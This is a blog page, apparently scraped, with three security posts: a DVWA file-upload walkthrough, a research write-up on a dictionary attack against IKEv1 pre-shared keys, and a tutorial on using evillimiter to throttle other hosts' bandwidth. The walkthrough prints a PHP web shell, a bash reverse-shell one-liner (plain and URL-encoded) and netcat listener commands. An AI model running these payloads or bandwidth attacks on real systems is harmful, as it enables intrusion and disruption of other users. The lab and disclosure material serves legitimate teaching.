Actually Make Money Online

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:

Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:

echo TESTUPLOAD > test.txt

and now upload it.

The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:

http://localhost:9000/hackable/uploads/test.txt

and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.

<?php
phpinfo();
?>

Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:

http://localhost:9000/hackable/uploads/info.php

and you should see a phpinfo page like this:

phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:

<?php
system($_GET["cmd"]);
?>

save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:

http://localhost:9000/hackable/uploads/shell.php?cmd=whoami

we see a response from the server giving us the user under which the web application is running.

We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.

Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:

ifconfig docker0

the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:

bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'

here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27

Now start a listener on host with this command:

nc -lvnp 9999

and then enter the url encoded reverse shell in the cmd parameter of the url like this:

http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27

looking back at the listener we have a reverse shell.

Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:

nc -lvnp 9999

and upload the reverse shell to the server and access it to execute our reverse shell.

That's it for today have fun.

References:

Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

More articles

We found out that in contrast to public knowledge, the Pre-Shared Key (PSK) authentication method in main mode of IKEv1 is susceptible to offline dictionary attacks. This requires only a single active Man-in-the-Middle attack. Thus, if low entropy passwords are used as PSKs, this can easily be broken.

This week at the USENIX Security conference, Dennis Felsch will present our research paper on IPsec attacks: The Dangers of Key Reuse: Practical Attacks on IPsec IKE. [alternative link to the paper]

In his blog post, Dennis showed how to attack the public key encryption based authentication methods of IKEv1 (PKE & RPKE) and how to use this attack against IKEv2 signature based authentication method. In this blog post, I will focus on another interesting finding regarding IKEv1 and the Pre-Shared Key authentication.

IPsec and Internet Key Exchange (IKE)

IPsec enables cryptographic protection of IP packets. It is commonly used to build VPNs (Virtual Private Networks). For key establishment, the IKE protocol is used. IKE exists in two versions, each with different modes, different phases, several authentication methods, and conﬁguration options. Therefore, IKE is one of the most complex cryptographic protocols in use.

In version 1 of IKE (IKEv1), four authentication methods are available for Phase 1, in which initial authenticated keying material is established: Two public key encryption based methods, one signature based method, and a PSK (Pre-Shared Key) based method.

The relationship between IKEv1 Phase 1, Phase 2, and IPsec ESP. Multiple simultaneous Phase 2 connections can be established from a single Phase 1 connection. Grey parts are encrypted, either with IKE derived keys (light grey) or with IPsec keys (dark grey). The numbers at the curly brackets denote the number of messages to be exchanged in the protocol.

Pre-Shared Key authentication

As shown above, Pre-Shared Key authentication is one of three authentication methods in IKEv1. The authentication is based on the knowledge of a shared secret string. In reality, this is probably some sort of password.

The IKEv1 handshake for PSK authentication looks like the following (simplified version):

In the first two messages, the session identifier (inside HDR) and the cryptographic algorithms (proposals) are selected by initiator and responder.

In messages 3 and 4, they exchange ephemeral Diffie-Hellman shares and nonces. After that, they compute a key k by using their shared secret (PSK) in a PRF function (e.g. HMAC-SHA1) and the previously exchanged nonces. This key is used to derive additional keys (k_a, k_d, k_e). The key k_d is used to compute MAC_I over the session identifier and the shared diffie-hellman secret g^xy. Finally, the key k_e is used to encrypt ID_I (e.g. IPv4 address of the peer) and MAC_I.

Weaknesses of PSK authentication

It is well known that the aggressive mode of authentication in combination with PSK is insecure and vulnerable against off-line dictionary attacks, by simply eavesedropping the packets. For example, in strongSwan it is necessary to set the following configuration flag in order to use it:

charon.i_dont_care_about_security_and_use_aggressive_mode_psk=yes

For the main mode, we found a similar attack when doing some minor additional work. For that, the attacker needs to waits until a peer A (initiator) tries to connect to another peer B (responder). Then, the attacker acts as a man-in-the middle and behaves like the peer B would, but does not forward the packets to B.

From the picture above it should be clear that an attacker who acts as B can compute (g^xy) and receives the necessary public values session ID, n_I, n_R. However, the attacker does not know the PSK. In order to mount a dictionary attack against this value, he uses the nonces, and computes a candidate for k for every entry in the dictionary. It is necessary to make a key derivation for every k with the values of the session identifiers and shared Diffie-Hellmann secret the possible keys k_a, k_d and k_e. Then, the attacker uses k_e in order to decrypt the encrypted part of message 5. Due to ID_I often being an IP address plus some additional data of the initiator, the attacker can easily determine if the correct PSK has been found.

Who is affected?

This weakness exists in the IKEv1 standard (RFC 2409). Every software or hardware that is compliant to this standard is affected. Therefore, we encourage all vendors, companies, and developers to at least ensure that high-entropy Pre-Shared Keys are used in IKEv1 configurations.

In order to verify the attack, we tested the attack against strongSWAN 5.5.1.

Proof-of-Concept

We have implemented a PoC that runs a dictionary attack against a network capture (pcapng) of a IKEv1 main mode session. As input, it also requires the Diffie-Hellmann secret as described above. You can find the source code at github. We only tested the attack against strongSWAN 5.5.1. If you want to use the PoC against another implementation or session, you have to adjust the idHex value in main.py.

Responsible Disclosure

We reported our ﬁndings to the international CERT at July 6th, 2018. We were informed that they contacted over 250 parties about the weakness. The CVE ID for it is CVE-2018-5389 [cert entry].

Credits

On August 10th, 2018, we learned that this attack against IKEv1 main mode with PSKs was previously described by David McGrew in his blog post Great Cipher, But Where Did You Get That Key?. We would like to point out that neither we nor the USENIX reviewers nor the CERT were obviously aware of this.
On August 14th 2018, Graham Bartlett (Cisco) email us that he presented the weakness of PSK in IKEv2 in several public presentations and in his book.
On August 15th 2018, we were informed by Tamir Zegman that John Pliam described the attack on his web page in 1999.

FAQs

Do you have a name, logo, any merchandising for the attack?
No.
Have I been attacked?
We mentioned above that such an attack would require an active man-in-the-middle attack. In the logs this could look like a failed connection attempt or a session timed out. But this is a rather weak indication and no evidence for an attack.
What should I do?
If you do not have the option to switch to authentication with digital signatures, choose a Pre-Shared Key that resists dictionary attacks. If you want to achieve e.g. 128 bits of security, configure a PSK with at least 19 random ASCII characters. And do not use something that can be found in public databases.
Am I safe if I use PSKs with IKEv2?
No, interestingly the standard also mentions that IKEv2 does not prevent against off-line dictionary attacks.
Where can I learn more?
You can read the paper. [alternative link to the paper]
What else does the paper contain?
The paper contains a lot more details than this blogpost. It explains all authentication methods of IKEv1 and it gives message flow diagrams of the protocol. There, we describe a variant of the attack that uses the Bleichenbacher oracles to forge signatures to target IKEv2.

Requirements:

1. A PC or Laptop with Linux OS.
2. A Network Adapter.
3. Access to the Network you want to control.
4. sudo or root access on your Linux OS.

First of all we will download the tool from its github repository:
https://github.com/bitbrute/evillimiter

You can download and extract the zip file from the link above or you can clone evillimiter repository using git like this:

git clone https://github.com/bitbrute/evillimiter

Now lets install the downloaded tool on our machine
Step 1: Move inside the downloaded github repository

cd evillimiter

Step 2: To install type

sudo python3 setup.py install

wait for the installation to finish (May take some time)

Step 3: To run type

sudo evilimiter

Voila! That's it, you got it up and running on your machine

Now how do you control your network with it, its very easy.
It should detect your network automatically but yeah you can set it up manually as well using the command line argument -i.

After you have selected the right interface to control, you need to scan your network for live hosts. To perform the scan type

scan

you can pass an optional flag to the scan command which is range which will help you to specify the range of ip addresses you want to scan like this

scan --range 192.168.1.1-192.168.1.100

The above command will scan a total of 100 hosts from 192.168.1.1 to 192.168.1.100

Now after you have scanned your network next thing is to list the hosts that have been discovered during the scan for that you type the hosts command like this

hosts

Now you know the hosts on your network and now you should know which host you wanna block or limit based on the mac address of the host. Remember the host id of the host that you want to block or limit bandwidth of and lets do the magic.
to block a host from using the internet we simply specify the block command followed by the host id of the host that we want to block like this

block 1

if instead of blocking the host we just want to limit his internet bandwidth we can do just that by using the limit command followed by the host id and then the bandwidth that we want to allocate to that particular host like this

limit 1 100kbits

Wohooo! yeah its that easy and yes you can do all this without having the network admin role.
Now if you want to show mercy on that poor guy (blocked host), you can set him free by using the free command followed by the host id like this:

free 1

Well isn't administrating your network bandwidth so easy now.
Hope you enjoyed this tutorial.:)

Actually Make Money Online

Tuesday, August 25, 2020

Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

References:

More articles

Practical Dictionary Attack On IPsec IKE

IPsec and Internet Key Exchange (IKE)

Pre-Shared Key authentication

Weaknesses of PSK authentication

Who is affected?

Proof-of-Concept

Responsible Disclosure

Credits

FAQs

Read more

Evil Limiter: Taking Control Of Your Network Bandwidth

Requirements:

Related word

Actually Make Money Online

About Me

Previous Posts

Archives

Your Name:
Your E-Mail: